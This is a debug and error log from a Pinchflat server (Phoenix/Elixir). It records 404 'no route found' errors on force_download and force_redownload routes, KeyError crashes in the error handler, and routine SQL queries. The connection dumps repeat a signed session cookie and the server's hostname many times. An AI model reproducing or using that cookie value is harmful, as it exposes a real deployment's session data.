#Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk"}, {"host", "youtube.plexultra.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "198.18.13.1"}, {"x-forwarded-host", "youtube.plexultra.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "7e50a363a8b5"}, {"x-real-ip", "198.18.13.1"} ], request_path: "/sources/6/force_download_pending", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNHOvhtTmHbH9vcAAXwh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.37083.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/6/force_download_pending", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44488}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 18, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/6/force_download_pending (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.37083.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/6/force_download_pending", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44488}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 18, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZz (truncated) 22:17:22.944 [debug] QUERY OK source="media_items" db=3.0ms idle=7.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [6, 2000] 22:17:22.951 [debug] QUERY OK source="source_metadata" db=0.2ms idle=16.6ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [6] 22:17:22.952 [info] Sent 200 in 13ms 22:17:22.958 [info] GET /sources/7/media/14035/force_download 22:17:22.958 [debug] QUERY OK source="settings" db=0.1ms idle=17.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:22.959 [debug] QUERY OK source="settings" db=0.1ms idle=17.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:22.959 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 22:17:22.959 [error] #PID<0.37156.0> running PinchflatWeb.Endpoint (connection #PID<0.37088.0>, stream id 15) terminated Server: youtube.plexultra.com:80 (http) Request: GET /sources/7/media/14035/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/7/media/14035/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.37088.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/7/media/14035/force_download", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44492}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 15, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk" }, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.37156.0>, params: %{}, path_info: ["sources", "7", "media", "14035", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk"}, {"host", "youtube.plexultra.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "198.18.13.1"}, {"x-forwarded-host", "youtube.plexultra.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "7e50a363a8b5"}, {"x-real-ip", "198.18.13.1"} ], request_path: "/sources/7/media/14035/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNHOvhxmLk9Di-QAAXxB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.37088.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/7/media/14035/force_download", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44492}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 15, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/7/media/14035/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.37088.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/7/media/14035/force_download", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44492}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 15, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tl (truncated) 22:17:23.136 [info] GET /sources/new 22:17:23.137 [debug] Processing with PinchflatWeb.Sources.SourceController.new/2 Parameters: %{"template_id" => "6"} Pipelines: [:browser] 22:17:23.138 [debug] QUERY OK source="sources" db=0.4ms idle=195.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 22:17:23.139 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.1ms idle=193.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 22:17:23.139 [info] GET /sources/6/force_redownload 22:17:23.140 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=188.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:23.141 [debug] QUERY OK source="settings" db=0.3ms idle=181.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:23.141 [debug] QUERY OK source="settings" db=0.9ms idle=181.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:23.141 [debug] QUERY OK source="settings" db=0.1ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:23.141 [debug] QUERY OK source="settings" db=0.4ms idle=2.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:23.141 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 22:17:23.142 [debug] QUERY OK source="settings" db=0.2ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:23.143 [debug] QUERY OK source="settings" db=0.3ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:23.142 [error] #PID<0.37158.0> running PinchflatWeb.Endpoint (connection #PID<0.37083.0>, stream id 19) terminated Server: youtube.plexultra.com:80 (http) Request: GET /sources/6/force_redownload ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/6/force_redownload (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.37083.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/6/force_redownload", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44488}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 19, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk" }, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.37158.0>, params: %{}, path_info: ["sources", "6", "force_redownload"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk"}, {"host", "youtube.plexultra.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "198.18.13.1"}, {"x-forwarded-host", "youtube.plexultra.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "7e50a363a8b5"}, {"x-real-ip", "198.18.13.1"} ], request_path: "/sources/6/force_redownload", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNHOviczTTvl3xkAAXyB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.37083.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/6/force_redownload", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44488}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 19, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/6/force_redownload (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.37083.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/6/force_redownload", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44488}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 19, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk" (truncated) 22:17:23.145 [info] GET /sources/6/media/13821/force_download 22:17:23.146 [debug] QUERY OK source="settings" db=0.2ms idle=5.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:23.146 [debug] QUERY OK source="settings" db=0.1ms idle=5.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:23.147 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 22:17:23.147 [info] Sent 200 in 10ms 22:17:23.147 [error] #PID<0.37159.0> running PinchflatWeb.Endpoint (connection #PID<0.37083.0>, stream id 20) terminated Server: youtube.plexultra.com:80 (http) Request: GET /sources/6/media/13821/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/6/media/13821/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.37083.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/6/media/13821/force_download", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44488}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 20, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ 